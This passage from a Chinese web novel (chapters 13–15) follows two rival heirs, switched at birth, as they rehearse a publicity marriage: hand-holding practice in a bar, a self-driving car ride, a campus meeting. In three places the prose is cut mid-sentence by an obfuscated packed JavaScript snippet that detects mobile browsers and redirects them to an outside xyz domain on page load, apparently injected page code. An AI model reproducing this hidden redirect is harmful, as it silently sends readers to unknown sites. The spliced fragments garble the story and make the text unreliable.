更有不仅互相交流,在外也有不少交流对象,主打一个全面开放互不约束的。 但不管怎么样,提前说好肯定没错,避免认知不一致,将来麻烦。 庄乘月自己开车来的,不想再找司机或者代驾,只跟侍应生点了杯冰可乐,饮料刚送到手里,他端起来喝了一口,端起了范儿:“我是直男,你最好离我远一点,如果阁下听不懂人话,我也略懂一些拳脚。” “彼此彼此。”晏知归好整以暇地说,“但在人前,需要被迫做出一些亲密动作的时候,我需要一个明确的界限,免得被你倒打一耙。” “最多是拥抱和牵手,最多。”庄乘月斩钉截铁地说。 就算这些,他想想都觉得恶寒。 晏知归平静地凝视着他在阴暗光影下亮亮的猫儿眼:“如果婚礼上,他们要求我们……更亲密一些呢?比如接吻——” 庄乘月立刻尖叫:“啊啊啊啊!你在说什么脏东西?!” 听到都觉得耳朵脏了! 13. Chapter 13 别说接吻,就是现在晏知归碰自己一下,庄乘月觉得自己能原地爆炸。 以前只是死对头的时候还没那么嫌弃,突然要以“夫夫”的名义亲密接触,他就觉得自己身上瞬间爬满了虫子。 想到这里,他还情不自禁地在身上四处拍打了几下。 晏知归倒是不以为意,甚至很能代入庄乘月的感受。 兰花螳螂虽美,但大刀砍下来也是要命的。 “你要清楚,虽然现在男男可婚,但圈子里还没有过,如果走到那一步,我们是第一……例。”他甚至连“第一对”都说不出来,“肯定会被人怀疑,至少要做些表面工夫。” 这倒是事实,豪门更看重传宗接代,公开娶男老婆的,确实没有。 顶多有一些老登续弦的时候给儿女们娶男小妈,看起来不太像真正的婚姻关系。 到时候,就凭庄家和晏家的不合传闻,加上横空出世的联姻,这桩婚事的真实性,肯定会被质疑。 就算装也得装得像样一点,否则纯纯是掩耳盗铃。 “烦死了!” 庄乘月把夹克兜帽翻过来戴上,抽绳拉紧,把整个脸藏在里边,自闭了。 别的或许能避免,但结婚当天牵手拥抱,尤其是交换戒指之后,嘴唇轻轻碰的那一下,肯定避不开。 晏知归没吭声,默默抿了一口酒,眼梢觑了觑他。 看到死对头把自己抽成一朵菊花,他竟莫名有些快意。 但是想想婚礼现场自己要主动去亲吻对方——呐,既然是男男,自己当然要做上面那个,上面的那个应该算是主动方吧,关系到面子问题的事情绝不能出错——他也陷入了同款郁闷。 庄乘月掏出手机,从兜帽缝隙里看屏幕,呼唤大呲花。 【月圣】:现在演员拍吻戏,如果不想亲密接触的话,有什么方法吗? 不愧是好基友,曹怀周秒回。 【大呲花】:???有瓜???还有我不知道的瓜? 【月圣】:没有,就是问你这个专业人士,现在都怎么避免自己亲。 【大呲花】:借位、嘴替、隔着保鲜膜,也就这样了吧。要不是互相有仇,现在大家都亲自来啊,不然不怕被人说不敬业吗? 这些招庄乘月自己也知道,可是拍摄现场能用,婚礼现场可不好糊弄。 到时候一定有高清照相机对着他和晏知归,记者们恨不得拿64倍镜找爆点,什么都逃不过他们的法眼。 【月圣】:你认不认识什么会易容术的人? 【大呲花】:?你是犯了什么事需要找替死鬼吗? 【月圣】:你人脉广,认不认识会做傀儡小人的?做成我的样子,替我二十分钟就行。 【大呲花】:喝假酒了你? 庄乘月叹了口气,绝望地知道此路不通。 【月圣】:玩真心话大冒险呢,跪安吧你。 【大呲花】:你在哪儿玩?居然不叫我!我还是不是你的小甜甜了? 庄乘月:…… 他偷看晏知归,发现对方隐在阴影里的脸模模糊糊地阴沉着,显然也不怎么爽,自己突然就爽了。 换个思路想,虽然吻他这件事很恶心,回家可能要把嘴洗烂,但退一万步讲,能让死对头痛苦郁闷烦,不是很值得吗?! 左右都避不开的事,那不如放手一搏! 妈妈我想开了! 庄乘月把帽子扒开撸下去,非常主动地往晏知归那边靠了一大段距离。 晏知归:…… 晏知归:? 有诈。 “干什么?”他警惕地问。 庄乘月从果盘里戳了一颗小草莓送进嘴里,嚼嚼嚼咽下去之后,才装出三分松弛三分疏离四分漫不经心:“就像你说的,我们可以走一下脱敏流程。” “你要跟我排练?”晏知归盯着他被帽子带起来的一缕呆毛,感觉这缕呆毛都透着一股不怀好意。 “嗯啊。”庄乘月斜睨他,猫儿眼的眼尾拉长,有那么点挑衅的意思,“不敢?” 晏知归眯了眯眼:“这事是我提出来的,用激将法没用。打算先排练哪一项?” “从牵手开始,循序渐进。”庄乘月说,心想就当握手了。 跟他又不是没握过。 握手又不算亲密接触,可以忍。 “可以。”晏知归简洁明了地说,掌心向上、四指并拢地向内招了招,“过来吧。” 这个动作配上他的装束,看起来很有那么一点苏,但此刻对庄乘月而言,等于媚眼抛给瞎子看。 他比划了一下,非常公正地说:“我已经主动挪了这么长一段,你难道不该向我靠拢吗?” 晏知归指了指灯光:“你坐的那里最亮,我这里暗一些,难道你想被人直接看到我俩牵手?” “你不是要让狗仔抓拍吗?”庄乘月开始不爽。 “太明显反而会被怀疑,就算是演也得演得像一点。”晏知归说,“现在我们的剧本是,人前死对头,人后——” “偷情是吧?我知道了,不要废话。” 明明跟自己同一天出生,庄乘月讨厌他装成大人模样在自己面前叨叨。 晏知归额角青筋抽了抽。 填空填得很好,下次不要填了。 庄乘月战术性地吃了几块水果,又往晏知归那边挪了一下,已经进入了灯光阴影中,觉得可以了。 自己已经做了很大的让步,再让,月圣不要面子的? 晏知归充分地领会了他眼神里蕴藏的含义,便也向他挪了挪。 很好,并排坐在了一起。 酒吧灯光昏暗,音乐撩人,空气中洋溢着旖旎的氛围,是谈情说爱的好地方。 别的卡座里,男男、女女,男女情侣们互相依偎,贴脸的,耳鬓厮磨的,甚至亲吻的都有,每个人脸上都挂着甜蜜的笑意。 只有这边一隅,两个帅哥端坐在一起,目视前方,腰背挺直,双手放在膝盖上。 坐那儿就是两个军训的大学生。 庄乘月是有心让晏知归不爽,但是靠得近了,却觉得此计有点亏本。 讨厌他,讨厌他身上散发的淡淡香水味儿,讨厌他身上侵略到自己的热气。 不,越想这些只会让这项工作难以开展,应该想一想他的优点。 抛去成见不谈,晏知归长得也算是个人。 去掉脑袋的话,晏知归的身材确实不错。 庄乘月垂眸,用眼角看看细节。 对方膝盖上的那两只手,在灯光下看起来是小麦色,手指修长,指甲修剪整齐,骨节流畅,手背血管微微凸起,一路向上蔓延至结实匀称的小臂。 看起来不错,握个手不算亏。 给自己做思想工作的时候,就听旁边传来轻声叹息,挨着他的一只手翻转过来,掌心向上,是邀请的姿态。 “别浪费时间。” 庄乘月偏头觑着他,见对方一脸视死如归,反骨暴涨,干脆利索地抬手,狠狠“啪”地一声拍在他掌心:“叹个屁的气?!这是你的荣幸!” 话音刚落,手就被人握住了。 轻轻的,柔柔的。 与上次握手时被捏得虎躯一震的感觉完全不一样。 皮肤温热,又有一些粗糙,手掌略显干硬,掌心温度更高。 是自己手凉吗?怎么感觉有点烫人? 庄乘月莫名其妙地心率快了些,他脑神经一抽,下意识地往回收手,便感觉对方的手稍稍用了力,不让他收走。 晏知归微微偏头:“这次我都没使劲儿,还疼?” 上次死命一捏,确实不妥,这次他有意轻轻地握,免得破坏两人第一次的脱敏练习,影响后续进展。 从小到大,他握过很多人的手,庄乘月的手明显与众不同。 比男人的软一些,比女性的又硬一点,骨架偏窄,柔韧度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848987|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很高,手温比自己的略低。 抛去一切不谈,握着很舒服。 好像没有想象中的那么反感。 “谁说疼了,只是本能反应。”庄乘月立刻道,“我有晏乌龟不适应症。” 晏知归嗤笑:“那你忍着吧。” “现在不用忍了,我就当自己在握龟爪。”庄乘月使劲捏他的手,坏笑着说,“捏一捏梆硬的龟爪,明天我就要发达。” 又狠狠撞他的膝盖:“撞一撞粗粗的龟腿,保我永远不吃亏。” 再抬起穿着板鞋的脚,在他锃亮的皮鞋上一踩:“碾一碾厚实的龟脚,小爷我天天眉开眼笑!” 下半边都说完了,庄乘月又把目光移到上边,闲着的另一只手去弹他的脑门:“弹一弹精神的龟……” 接下来的那个字临说出口的时候,他突然觉得不对,匆忙地卡在了嘴里。 然后对上了晏知归似笑非笑的眼神。 “看什么看!满脑子黄色废料!”庄乘月的脸瞬间烫了起来,还交握着的手顿时就显得非常不正经,他立刻甩开对方的手,端起面前的杯子战术喝水。 晏知归连忙阻止:“那是我的酒——” 来不及了,庄乘月暴风吸入,被喝进嘴里的威士忌刺激得呛到,大半吐了回去,咳得昏天黑地。 晏知归赶紧接过他手里的酒杯,又抽了纸巾递给他,还好心地帮他拍背,顺便叫来了侍应生,叫人送来两杯温水。 一般人这个时候都会感觉尴尬,但庄乘月不会,这么一折腾,他倒是从方才被迫牵手的窘况中解放了出来。 “都怪你这破外号,害我差点说出一些不雅词汇。”他哑着嗓子说。 晏知归对他这种倒打一耙的表演已经司空见惯:“我记得这个外号出自你的手笔。” “那还不是因为你的名字,很容易就让人联想到这种动物。”庄乘月喝了口温水,觉得总算顺过气来,“谁给你取的?” “我妈。”晏知归简短地说。 面对逝者,不好再开玩笑,庄乘月卡壳。 仔细想想,突然觉得这个名字很有寓意,像是失落在外的孩子知道回家似的,被抱错的孩子现在也总算知道了亲生父母是谁,能回到真正的家。 可他要回的庄家多么温馨啊,自己要回的晏家,长辈像人机,兄长们像精神病,可怕。 月圣郁闷。 “我看牵手的问题基本可以克服,今天就到此为止吧。”晏知归站起身,“走吗?” “走。”庄乘月也干脆利落地站起来。 晏知归选的这个座位确实不错,够隐蔽,也能看到其他位置的动向,方才他就发现有一些点头之交蠢蠢欲动地想要过来打招呼。 庄乘月现在没有心情社交,只想快点撤。 刚才的酒虽然喷出来了大半,但还是喝了一些进去,这威士忌度数不低,再加上惊天地泣鬼神的咳嗽,他现在脑子有点发晕,下意识地跟在晏知归身后。 显得十分乖巧。 晏知归注意到了这一点,觉得有点好笑。 这兰花螳螂不那么张牙舞爪的时候,其实挺可爱的。 俩人进了电梯,光线明亮了一些,他发现庄乘月的脸和眼睛都很红,肯定是那口酒闹的。 “是不是得给你家司机打电话,让他来接你?”先前小螳螂点的是可乐,晏知归猜测他是自己开车来的。 庄乘月懵懵地正在放空,闻言神色空白地回应:“啊?” 要放在以前,两人根本不可能同时坐电梯,也不会一同离开什么地方,晏知归更不会管他怎么回家。 但今天不知道为什么,令他充分考虑了当下的情况。 现在找司机过来还得有一会儿;两人住的地方不算太远,可以说是顺便;况且,这是自己的联姻对象,置之不理显得自己格局不够。 理由充分,晏知归看了眼身边的红脸螳螂,问道:“要坐我的车吗?” 14. Chapter 14 可能是对晏知归有“百分百自动抬杠”的被动技能,庄乘月一听就本能回怼。 “为什么要坐你的车?”他微微仰头看着晏知归,“不是说循序渐进吗?已经牵了手了,你还想对我做什么?” 晏知归嗤笑一声,转身向他逼近。 庄乘月立刻后退,被堵在了角落里。 “你干嘛?”他大声质问道,抬起双手要推不推的,“我略懂拳脚可不是吓唬你的!” 看他这副良家子遇上登徒子的坚贞不屈相,晏知归觉得非常有趣,想再逗上一逗。 他单手按住旁边的轿厢壁,把庄乘月圈在里边,微微低头凑近,神情揶揄,祭出霸总气泡音:“循序渐进太煎熬,不如就像揭膏药那样,一次来个痛快?” 一边说,一边更具侵略性地靠过去,嘴唇越贴越近。 离开酒吧那种到处都是旖旎香气的地方,才闻得出庄乘月没有喷香水,身上有极淡的衣物护理机留下的臭氧味儿,还有更明显的香薰味道。 好巧不巧,正是兰花香。 看着眼前越来越近的脸,庄乘月又感受到了他身上的热度,有一种安全领域被侵犯的不爽。 “想一次来个痛快是吗?”他咬牙切齿地说,“我可以让你快进到直接被我阉割,很痛,也很快。” 晏知归眼睛往下一瞥,看到他已经提起了膝盖,恍惚间像是看见兰花螳螂已经竖起了两把大刀,忍俊不禁地向后撤开。 “你喝了酒,不能开车,我只是好心建议。”他恢复正经脸。 庄乘月茫然地眨了眨眼:“就那一小口,也不行吗?” “被交警拦下来吹气你就老实了。”晏知归说,“想上热搜?你出丑会连累到我。” 不知道为什么,今天就是不想找司机和代驾,不然庄乘月也不会只点了可乐,现在坐死对头的车的确最方便。 “你叫司机来了?”他问。 晏知归超级不经意地说:“没有,我坐的是英嘉最新的无人驾驶汽车,已经拿了上路资质,想试试吗?” “想!”庄乘月的眼倏地亮了。 英嘉集团下属的汽车公司这些年来一直在研发无人驾驶,这款新车只是出了宣传片,还没有对外发售。 宣传片拍得非常让人斯哈,庄乘月老早就想亲自感受一把,这会儿无意识地露出了本体。 看着他圆眼睛亮晶晶的样子,好像是螳螂收起大刀瞬间变成了可爱的毛毛虫,晏知归抿唇低头,极为隐蔽地笑了笑。 电梯到了地下车库,他率先走出去,庄乘月跟在后边,双眼往两边瞥瞥,迅速把兜帽又戴了起来,抽绳拉紧,又变回了菊花。 走到车边,晏知归不经意地一回头,看到个偷感十足的“蠕虫”跟在自己旁边,本能地表情一变:“你要去做贼吗?” “不想让人看见我上了你的车。”庄乘月从帽子缝隙里看到了这款最新智能车,悄咪咪用眼神去爱抚。 车是黑色的轿跑车,据说定价在30到50万之间,算是中端车,看得出定位偏向实用。 现在近距离观察,发现细节很不错,线条流畅、烤漆讲究,气质高雅大方,门把手和车内饰都很上档次。 晏知归面无表情地打开车门,兜着他的后脑勺把他塞进了车后座:“狗仔要拍肯定拍全套,现在躲已经来不及了,用用你的脑子!” 车后座也挺舒服的,空间宽敞,庄乘月拽下帽子,大大方方地打量起来。 但当死对头坐进来的时候,他莫名就觉得空间有些局促。 晏知归个子高,虽然不是过分壮实的体型,但187的骨头架子在那摆着,坐下也是一大只。 庄乘月以前还疑惑,晏家老大老二跟自己差不多,是180左右的身高,怎么晏老三这么基因突变,现在算是知道原因了。 反观自己家,爷爷和爸爸都有185,妈妈还有两个姐姐都在170左右,姑妈家的表哥窜到186,自己拖后腿的原因也就不言自明。 “后边这么窄,你坐前边去。”他别别扭扭地说。 晏知归握着手机用app操控汽车,闻言道:“怎么,压到你隐形的翅膀了?” “你不该去坐驾驶座么?万一你们公司出的是人工智障怎么办?”庄乘月看前边的智能仪表面板已经被激活。 “我喝了酒,坐前边怎么证明自己没开车?”晏知归说,“不想坐后边你去坐副驾驶。” 庄乘月立刻道:“我才不会坐死亡之座!” “不去就老实待着,车内空间正常,别找茬。”晏知归冷淡地说。 前边操作台的智能语音响起,是温柔的电子女声:“您好,我是您的智能助手小嘉,请车主使用语音解锁。” “开启自动驾驶,目的地,成华路25号。”晏知归的声音听起来也很人机。 “收到,路径查找中,已规划好路线,进入自动驾驶模式,请乘客系好安全带,汽车马上出发。” 庄乘月惜命地把安全带系好,趴在驾驶座后边,看智能仪表面板自己一通忙活,显示了这个又显示那个,各种提示灯闪了闪,极具科幻感,然后就感觉到汽车发动起来,缓缓开出车位,掉头沿着通道向外开去。 “没坐过有自动驾驶功能的车吗?”晏知归语调揶揄,“我可以送你一辆做聘礼。” 庄乘月没有意识到“聘礼”这个词里有坑,端庄地靠回靠背,高贵冷艳地回答:“我对人机不怎么信任,今天不过是给你面子,反正要死一起死。” “怎么?要跟我生死与共?” “语文没学好就回去重修,我和你一起死叫同归于尽。” 晏知归唇角微勾,没再吭声。 汽车已经驶出地下车库,伴随着语音提醒有条不紊地变道,驶入规划好的路线。 庄乘月伸长脖子看着仪表面板上的智能助手动态图像,没忍住问了一句:“这个助手可以用户按照喜好设置吗?” “可以,语音包、性别、年龄、名字还有动态形象都可以按照喜好自行上传替换。”晏知归cosplay客服。 “太好了,你送我的那辆车,我要给助手改名叫晏乌龟。”庄乘月美滋滋地说,“放心,我会给你约一个美美的设子做动态形象的。” 晏知归猜到他把话题引到这里,就是为了拿自己开涮,倒也不以为意,接着话茬说:“你愿意开出去替我们宣传,怎么做都可以,况且被人看到,还能证明我们很恩爱,一举两得,我做点小小牺牲,很划算。” “呸呸,谁要跟你恩爱!”庄乘月秒变绿豆蛙表情包,“恶俗啊!” 看他不爽,晏知归就爽了,望向车窗外的城市夜景,露出淡淡的一点笑意。 庄乘月不能忍自己被拿了一血,眼珠转了转,喊道:“小嘉!” “我在!”智能助手温柔地回应。 “乘客可以使用哪些功能?” “乘客您好,您可以使用除驾驶外的其他功能,比如让我播放音乐、问我天气,打开车窗——” “那就播放音乐吧!”庄乘月从眼角瞥了瞥晏知归,坏笑起来。 晏知归没管他,想来大提琴乐手爱听的音乐可能是那些世界名曲,这密闭的二人空间确实令他也有些不适,放些古典乐也是OK的。 但《奢香夫人》他是真没想到。 “你喜欢这种?”他偏头看了眼庄乘月。 庄乘月挑衅道:“怎么,看不起民族风?” “不敢,请便。”晏知归不打算跟他废话,反正再开十几分钟就到家了。 民族风正常听的话也很带感,但扛不住这位听众他又唱又要演。 前边几段比较轻柔,没什么问题,可到了副歌,庄乘月解开了安全带,跟着音乐尽情摇摆。 “乌蒙山连着山外山,月光洒下了响水滩,有没有人能告诉我,可是苍天对你在呼唤。一座山翻过一条河,走过千山万水永不寂寞,你来过年华被传说,百里杜鹃不凋落。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848988|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汽车从CBD最宽敞的马路上呼啸而过,无人知晓,这高端大气上档次的无人驾驶汽车里,车后座坐着一个已经被噪音吵得石化了的霸总,而霸总身边坐了个失控的雨刷器。 庄乘月把《奢香夫人》单曲循环,庄乘月在车里开私人演唱会。 晏知归人还在这儿,但晏知归已经走了有一会儿了。 好在通往庄家大宅的路不算远,智能助理的语音适时响起,提醒目的地就在前方不远处,中断了吵闹的歌声,拯救了晏知归嗡嗡作响的脑瓜子。 汽车在大宅门口停下,他冷淡地说:“就送你到这了。” 里边那段路你跑进去吧,看浑身有使不完的牛劲。 “真是令人愉悦的旅程啊。”庄乘月看着他的棺材脸,胸中心花怒放,推门下车,心情极好地赏了他一个认可,“再见,联姻对象。” 等他绕过车尾,却又被人叫住:“等等。” 庄乘月转身,看晏知归落下了车窗,正看着自己,便坏笑着问:“怎么了?还想听我百灵鸟的歌声?” “不是《奢香夫人》不好听,而是你的《坏龟之歌》更有性价比。”晏知归眼底含着嘲讽的笑意。 庄乘月:“!!” “那天你们用无人机录像了是吗?!那首歌是我的版权!”他突然反应过来。 然而晏知归关了窗,坐车美美离开。 以前没有跟庄乘月单独相处这么久过,不知道这瘦削的小身板蕴藏着这么大的能量,这么能歌善舞,这么吵。 以后同处一室,看来很有挑战。 但晏知归很喜欢挑战,至少可以不无聊。 庄乘月对着他的车影比了个国际友好手势,心里倒不怎么在意。 《坏龟之歌》可是本月圣花了三分钟的呕血之作! 蛐蛐别人就是要人听见才有效果,这么声情并茂的蛐蛐怎么好让他错过。 哈! 他抄着外套口袋慢悠悠地溜达进大门,路遇开着电动三轮巡逻的保安,搭车回到了主宅,再踩着电动平衡车溜进客厅。 出去跟晏知归见这么一面,驱散了他不少先前跟狗仔开电话会议的颓丧,但显然家里的气氛还是有点压抑。 还没到跟前,就听见妈妈哀怨地说:“既然要花钱封住那狗仔的嘴,干嘛非得让小月跟晏知归联姻?不声不响地盖过去不就完事了吗?” “妈,那天柴老太不是说了吗?孩子早晚是要认回来的,但没有一个合适的由头,两家走动太频繁,肯定会让人怀疑。”庄苡然无奈地说,“就算封住了狗仔的嘴,但事儿已经传出去了,会有人闻着味儿来的。” 庄苡歆也叹气:“虽然现在对那个知归没什么感情,但血脉上是我弟弟,不忍心看他还待在晏家遭罪。他俩结了婚,直接搬出去住,他也算能避开晏家那群人。” “不知道离开晏家的大毒窝,他那品性能不能往回调调。”宋乾恨恨地说,“仇人竟是亲弟,这是什么狗血剧情?!换孩子的那个老太太是个狠人。” 庄景川的声音里充满浓浓自责:“都怪我当年没处理好这件事,留下了这样的隐患。” “爸,这不能怪你,很多事根本都传不到你那一层,如果真的是亏欠了他们家,也是下边的人没办好,这样更会瞒着你了。”庄新远说。 乔轻云哭腔更浓:“让无辜的孩子承担这一切,真是造孽!” 打从自己记事起,家里气氛就没这么沉闷过,庄乘月实在不忍心,踩着平衡车闪亮登场。 “当当当当!我肥来啦!”他笑眯眯地滑了过去,“爷爷,爸爸妈妈,大姐姐夫二姐!猜猜我去哪儿了!” 乔轻云擦了擦脸,眼睛红肿地看他,挤出笑容:“去哪儿玩了?” “我跟晏乌、不,晏知归去约会了!”庄乘月神气活现地宣布,“我发现他人挺好的,已经开始有点喜欢他了!” “联姻的事大家不要烦恼,月圣出手,包喜庆的!” 15. Chapter 15 一切决策落定,事情开始有条不紊地向前推进。 狗仔那边由向薇和晏家派来的集团律师深度接触;联姻官宣的公告和其他细则由两家集团的宣传部共同拟定; 联姻的协议由两家集团律师一同商量,由庄景川和柴芷青做最终决策人; 婚礼及各种事项也有两家抽调专人组成工作组一同筹备,由乔轻云和阮美兰一同拍板。 据说两边合作得不怎么愉快,之间常常发生争吵。 每一次会议都是不见硝烟的战场。 而那天庄乘月和晏知归私下在酒吧里见面,果不其然被其他狗仔拍到,各种照片和猜测传遍了各大社交平台: “庄家小太子和晏家三少爷酒吧私会,两人面色严肃看来不合升级”; “庄乘月和晏知归单独见面,之后又一起离去,还同坐一辆车,姿态亲密”; “晏、庄两家近日接触增多,抱错崽传闻疑为真”; “坊间传闻,晏家和庄家共同出资注册了一家公司,法人是庄新远的太太乔轻云女士,这两家到底是在干什么?” …… 以前关于庄家晏家乱七八糟的报道向来不少,两家人谁都没当回事过,面对各种质疑和猜测,自然也不会做出回应。 但近日卓志集团和英嘉集团的股票都有小幅的震荡整理,显然这个抱错传闻对他们的确有影响。 两家遂坚定了协议联姻的决定。 就当是冲喜了呗! 几天假期过去,庄乘月也不再躲,继续照常上学、练琴、开直播;晏知归同样每天上班搬砖,免得被人发现有什么异常。 随着压热搜、降热度越来越有成效,再加上最初爆料的狗仔再没有料爆出、账号也已经注销,关于抱错崽这件事,舆论都开始倾向于认为这是谣言。 但实际上,那位狗仔签了保密协议,拿了天价的封口费,已经美美踏上出国的飞机,去国外待上一阵子;联姻的协议也差不多已经拟定,公告即将发布。 庄乘月是家人面前笑嘻嘻,独处时心里mmp。 心里有苦还不能跟任何人倾诉,再不内耗的他,也开始有点内耗了。 这就是成长的烦恼吗? 好巧不巧,这天教授不知道抽什么风,让乐团集体演奏门德尔松版本的《婚礼进行曲》,听得他感觉这个世界都在讽刺自己。 “乘哥,请问你今天拉的那是婚礼进行曲吗?听着跟要送葬似的。”排练完毕,程昊戳了戳庄乘月的手臂,“助教瞪了你好几眼,眼珠子都快瞪出来了。” 庄乘月有气无力地收拾着自己的琴:“他要敢来说我,信不信我当场给他拉一个《葬礼进行曲》。” “咋了哥们,被人煮了?”程昊也是个没心没肺的富二代,跟他和曹怀周彼此间臭味相投,很能玩到一起去。 庄乘月把琴盒盖好,往身上一背:“再说这种长了绿毛的老梗别怪我揍你,要背梗你也背点新鲜的,子不教父之过,出去不要说我是你爸爸。” 程昊表情夸张地握住他的肩膀前后摇晃:“爸爸,啊,爸爸,你怎么了?!你说话啊!” “没怎么,可能被充实的生活压得不堪重‘富’吧。”庄乘月的脑仁快被他摇散黄了,立刻道,“你给我死道普!” 话音刚落,他口袋里的手机就剧烈震动了起来,拿出来一看,屏幕上明晃晃的“晏乌龟”,“乌龟”两个字是emoji图标。 程昊眼尖,一下子瞟见,尖叫道:“乘哥你手机是不是中毒了?!” “显然是啊。”庄乘月盯着那个乌龟图标,很想挂断,但最近的成长让他变成了大人模样,表情沉痛地按下了接听键,声音冷淡,“有本快奏,无本退朝。” 听筒里传来晏知归富有磁性的声音:“在学校剧场?” “你跟踪我?”庄乘月漫不经心。 晏知归嗤笑:“我们二十一世纪的人装定位就够了。” “低声些,难道光彩吗?”庄乘月面无表情。 晏知归不欲和他废话:“练完了吗?” “废话,难道我能一边接电话一边拉琴?”庄乘月闭眼输出。 “没准儿呢,毕竟你是神之六指。”晏知归飞快地截住他回怼的话,“练完就出来,我在剧场外边等你。” 妈耶,突然袭击! 庄乘月倏地睁开眼:“你怎么还追到学校里来了?!没有经过我同意!” “我给你发微信了,你没回,我视为默许。” “晏乌龟你真的是痴缠啊,居然这么穷追猛打!”庄乘月怒气冲冲地说,“你侵犯我个人领地!” 晏知归失去了耐心:“别废话,快出来。” 庄乘月挂断电话,看见了目瞪口呆的程昊,不爽道:“干嘛?” “不干嘛,就是体验一下在吃瓜第一线的感受。他为什么找你,发生什么事了?”程昊满脸八卦。 庄乘月郁闷地往外走,有满腔负能量准备让晏知归好好享受享受:“被命运诅咒的量子纠缠!” 程昊背着自己的中提琴,脚步轻快地跟上他:“谁懂这纠缠的含金量,快让我开开眼!” 庄乘月一走出剧场,就看见那个瘦高的、西装笔挺的身影站在台阶上,出众的仪表和体态吸引了很多男生女生围观拍照。 “是晏知归吗?” “哇塞,本人比照片上还帅!” “好想过去合影啊!” “有点追求行不行,至少搭个讪!” “不知道能不能要来电话号码……” 程昊的嘴巴也“哦”成了个圆圆的鱼嘴:“上次还是在什么聚会上见过他来着,怎么一年多不见这人又帅了?” “可能去医美了吧。”庄乘月当面造谣。 他背着琴在众目睽睽之下走到晏知归面前:“你好,动物园的猴,请问你一顿要吃几根香蕉?” 俩人这么一碰面,围观同学集体骚动: “喔!!!晏知归是来找庄乘月的吗?!这么高调?” “他俩到底是合还是不合?!难道传闻是真的?” “不管合不合,这站在一起看起来好配啊!” 程昊哪好意思跟得太紧,跟他俩保持了两米距离,欣赏了一下这个画面,情不自禁地露出了姨母笑:“你别说,你还真别说。” 一个西装革履、长身而立,面色清冷不苟言笑,看上去优雅又禁欲; 一个时尚休闲,瘦削挺拔,收敛起笑意,身背大提琴,一脸艺术家的高傲。 目光相撞的时候,很有那么一点张力。 程昊就像是中了什么魔咒,默默掏出手机,把他俩放在了摄像头的取景框里。 晏知归等在这里本就是为了高调行事,不介意别人拍照,更不在乎庄乘月的嘲讽。 他看了眼高高的大提琴盒,主动伸手去接挂在对方肩膀上的背带:“我来帮你。” 围观同学纷纷发出感叹:“哇哦,好绅士!好暖啊!” 距离上一次的酒吧脱敏,俩人有一阵没见了,微信上也没有任何沟通,毕竟相看两厌。 现在此人突然出现,庄乘月就知道他是来“做铺垫”的,毕竟联姻官宣就在前方。 死对头表演得这么暖男,自己也不能被比下去,只能收起方才刚刚竖起的刺,皮笑肉不笑地用一种恶心人的娇嗔语气说:“这是我私人订制的琴盒,无价之宝!别给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848989|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磕了!” 围观同学们捂嘴笑:“庄乘月好娇啊!” 庄乘月内心稀碎。 没恶心到晏知归,自己一世英名尽丧。 算了,现在不丧,过两天也会丧。 尸体凉凉的,很安心。 “放心,你的东西我都会仔细对待。”晏知归没有像他那样双肩背,而是拎着琴盒一侧的把手,看上去优雅不打折,“走吧。” 庄乘月抄起棒球服的口袋,酷酷地说:“走。” 在众人如影随形的目光下走出好远,他才不爽地问:“突然袭击我干什么?!” “难得今天我有时间,带你去看我们的婚房。”晏知归偏头看了他一眼,神情促狭。 庄乘月表情非常严肃:“不要在学校里说这种虎狼之词!” 口袋里的手机中毒了似地连环震,他拿出来一看,是程昊发过来的两人高清大图。 【大壮】:爸爸,为什么你俩pay一脸,目光可称不上清白,请解释。 【月圣】:你眼瞎居然来问我?「这河狸吗.jpg」 【大壮】:那他为什么要替你背琴?请回答。 【月圣】:他欠我钱,所以肉偿。「月亮得意.jpg」 【大壮】:肉偿?是我理解的那个肉偿吗?「小脑通黄.jpg」 【月圣】:儿啊,爸爸对你很失望。「月亮痛心.jpg」 【大壮】:你们俩为什么会一起走?你甚至没有回头看我一眼。 【大壮】:是去做其他需要肉偿的事吗?「斯哈.jpg」 【月圣】:「这边建议您滚一滚呢.jpg」 学校门口,助理姜易刚把庄乘月的车停到路边,看见他两人一起,一脸状况外地怔了怔,连忙下车。 晏知归非常自如地把大提琴递给他:“人跟我走,你把东西送回他家。” 姜易觑了觑自家老板的脸色,见对方面色高冷地点了一下头,立刻开朗道:“好嘞!” 晏知归走到自己的大G旁边,拉开副驾驶的车门,用眼神示意庄乘月上车。 庄乘月本想坐到后边,但事已至此,再故意对抗既无意义,又不礼貌。 算了,就当给他个面子吧。 “怎么不开你的无人驾驶车了?”他坐上副驾驶,一边系安全带一边问。 晏知归发动汽车:“没有特殊情况,我更喜欢自己开车。” 